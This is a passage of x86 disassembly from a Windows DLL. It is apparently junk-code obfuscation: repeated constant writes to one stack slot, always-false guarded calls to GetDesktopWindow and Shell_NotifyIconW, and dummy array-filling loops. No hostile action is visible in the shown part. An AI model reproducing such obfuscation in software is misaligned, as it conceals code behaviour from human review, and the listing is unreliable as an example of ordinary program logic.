cmp byte [ebp - 0x25], 0
je 0x10031315
push eax
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call edi
xor eax, eax
dec dword [ebp - 4]
cmp dword [ebp - 4], 0xfffffff3
jne 0x10031300
inc dword [ebp - 0x2c]
cmp dword [ebp - 0x2c], 0xe
jl 0x100312f4
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x2c], eax
xor eax, eax
mov dword [ebp - 0x34], 0x2c70bb74
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jge 0x10031358
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xa68], 0xc75286e8
inc dword [ebp - 4]
cmp dword [ebp - 4], 2
jl 0x1003133f
xor eax, eax
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x10031374
push 0x8ec
push 0x16f1
push eax
push 0x4e0
push eax
call ebx
mov eax, dword [ebp - 0x34]
neg eax
sbb eax, eax
xor ecx, ecx
inc eax
mov dword [ebp - 0xa64], eax
xor eax, eax
mov dword [ebp - 0x24], 0xbc6e5c7a
inc ecx
mov dword [ebp - 4], eax
jmp 0x100313a4
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0x380], 0x136951ad
inc dword [ebp - 4]
cmp dword [ebp - 4], ecx
jl 0x10031393
mov eax, dword [ebp - 0x380]
mov eax, dword [ebp - 0x380]
mov ebx, dword [sym.imp.SHELL32.dll_Shell_NotifyIconW]
push 0xfffffffffffffffb
pop edx
cmp edx, eax
sbb eax, eax
neg eax
mov dword [ebp - 0x24], eax
xor eax, eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0x24
jle 0x100313f1
mov byte [ebp - 0x25], al
cmp byte [ebp - 0x25], 0
je 0x100313e5
push eax
push 0x155
call ebx
xor eax, eax
inc dword [ebp - 0x24]
cmp dword [ebp - 0x24], 0x24
jg 0x100313d2
mov dword [ebp - 0x38], 0x3c692bea
mov dword [ebp - 0x38], 0xecb45710
mov dword [ebp - 0x38], 0xebb6748f
mov dword [ebp - 0x38], 0xe814b733
mov dword [ebp - 0x44], 0x479b69b2
mov dword [ebp - 0x38], 0xffffffff
push 2
mov dword [ebp - 4], eax
pop edx
cmp dword [ebp - 4], edx
jge 0x1003143e
mov eax, dword [ebp - 4]
mov dword [ebp + eax*4 - 0xe10], 0x46b6eb6b
inc dword [ebp - 4]
cmp dword [ebp - 4], edx
jl 0x10031426
inc dword [ebp - 0x44]
mov dword [ebp - 0x24], 0xfffffffa
mov dword [ebp - 0x38], eax
mov dword [ebp - 0x38], edx
mov dword [ebp - 0x38], 0xfffffffd
mov dword [ebp - 0x38], 0x81eca6c8
mov dword [ebp - 0x38], 0xffffffff
mov dword [ebp - 0x44], 0xb39d2057
mov dword [ebp - 0x38], 0xffffffff
push 3
mov dword [ebp - 0xc], eax
pop edx
cmp dword [ebp - 0xc], edx
jge 0x10031494